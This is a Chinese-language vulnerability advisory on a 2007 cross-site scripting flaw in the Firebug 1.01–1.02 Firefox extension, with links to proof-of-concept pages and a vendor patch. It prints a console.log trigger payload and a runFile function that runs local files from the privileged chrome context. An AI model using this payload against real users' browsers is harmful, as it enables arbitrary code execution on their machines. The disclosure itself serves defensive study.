安全研究

安全漏洞
FireBug跨站脚本执行漏洞

发布日期:2007-04-04
更新日期:2007-04-06

受影响系统:
Parakey Inc. Firebug 1.02
Parakey Inc. Firebug 1.01
不受影响系统:
Parakey Inc. Firebug 1.03
描述:
BUGTRAQ  ID: 23315

FireBug是一个非常实用的JavaScript以及DOM查看调试工具,是Firefox的一个插件。

FireBug的对脚本代码的处理实现上存在漏洞,远程攻击者可能利用此漏洞在用户机器上执行恶意脚本代码。

在浏览器中远程脚本是受到沙盒限制的,也就是任何http:或https:前缀的URL都是安全的。浏览器扩展使用chrome: protocol,这个协议不受任何限制,因此浏览器扩展都是受信任的。如果远程脚本诱骗浏览器对chrome:执行JavaScript表达式的话,这个脚本就可以完全控制整个chrome及操作系统,因为命令执行和读写访问都是允许的。

如果要导致Firebug执行跨站脚本,可执行以下操作:

console.log({'<script>alert("bing!")</script>':'exploit'})

如果将这段JavaScript表达式嵌入到页面并使用安装了Firebug的浏览器打开,用户就会得到一个警告窗,这时攻击者可以向浏览器chrome中注入以下函数:

function runFile(f) {
        var file = Components.classes["@mozilla.org/file/local;1"]
                .createInstance(Components.interfaces.nsILocalFile);

        file.initWithPath(f);

        var process = Components.classes["@mozilla.org/process/util;1"]
                .createInstance(Components.interfaces.nsIProcess);

        process.init(file);

        var argv = Array.prototype.slice.call(arguments, 1);

        process.run(true, argv, argv.length);
}

runFile函数允许执行文件。通过浏览器chrome中的函数声明,攻击者就可以多次调用console.log以生成任意文件,甚至暗中安装浏览器扩展,以及读写文件。

<*来源:Petko D. Petkov
  
  链接:http://secunia.com/advisories/24743/
        http://www.gnucitizen.org/blog/firebug-goes-evil
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.gnucitizen.org/projects/firebug-goes-evil/poc.htm
http://www.gnucitizen.org/projects/firebug-goes-evil/poc2.htm

建议:
厂商补丁:

Parakey Inc.
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://addons.mozilla.org/en-US/firefox/addon/1843

浏览次数:2837
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障